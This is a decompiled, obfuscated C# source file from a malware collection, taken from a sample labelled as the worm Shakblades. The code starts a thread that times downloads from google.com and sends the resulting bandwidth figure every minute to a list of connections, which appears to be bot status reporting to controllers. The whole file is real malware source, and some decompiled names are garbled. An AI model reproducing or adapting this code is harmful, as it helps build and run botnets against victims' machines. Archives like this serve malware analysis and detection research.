MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f/ʤ༲୾Ṁ.cs

74 lines
2.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.ʤ༲୾Ṁ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
using System;
using System.Collections.Generic;
using System.Net;
using System.Text;
using System.Threading;
namespace Ҧ߲ʽ
{
internal class ʤ\u0F32\u0B7EṀ
{
private static Thread ޠ;
private static List<\u07F6\u181Fᒸৃ> ڇ\u08DAᑡࣺ\u139F = new List<\u07F6\u181Fᒸৃ>();
public static void \u09EBલڄቷóᅭጫ(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Add(_param0);
public static void \u0E70\u18AD\u1391ᨼᅬ\u0BDC(\u07F6\u181Fᒸৃ _param0) => ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Remove(_param0);
public static void оԗȫ݉()
{
ʤ\u0F32\u0B7EṀ.ޠ = new Thread(new ThreadStart(ʤ\u0F32\u0B7EṀ.\u0C78᭖ᬏጂ\u0EE0Ṕܱ));
ʤ\u0F32\u0B7EṀ.ޠ.Start();
}
private static void \u0C78᭖ᬏጂ\u0EE0Ṕܱ()
{
WebClient webClient = new WebClient();
while (true)
{
while (ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count >= 1)
{
ʤ\u0F32\u0B7EṀ.7();
for (int index = 0; index < ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count; ++index)
{
if (index < ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F.Count && ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index] != null && ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index].\u0557)
ʤ\u0F32\u0B7EṀ.ڇ\u08DAᑡࣺ\u139F[index].(new \u09CF(\u07F6\u181Fᒸৃ.ƪ.\u1F16Ʈᝐ\u0F6Dṡ\u0E85, Encoding.Default.GetBytes(ʤ\u0F32\u0B7EṀ.7())).ڨ());
}
Thread.Sleep(TimeSpan.FromSeconds(60.0));
}
Thread.Sleep(5000);
}
}
public static void Ċ()
{
if (ʤ\u0F32\u0B7EṀ.ޠ == null)
return;
ʤ\u0F32\u0B7EṀ.ޠ.Abort();
}
private static string 7()
{
try
{
WebClient webClient = new WebClient();
double tickCount = (double) Environment.TickCount;
webClient.DownloadData("http://google.com/");
double num = Math.Floor((double) Environment.TickCount - tickCount) / 1000.0;
Math.Round(num, 0);
return Math.Round(1024.0 / num).ToString() + " KB\\Sec";
}
catch
{
}
return "Error";
}
}
}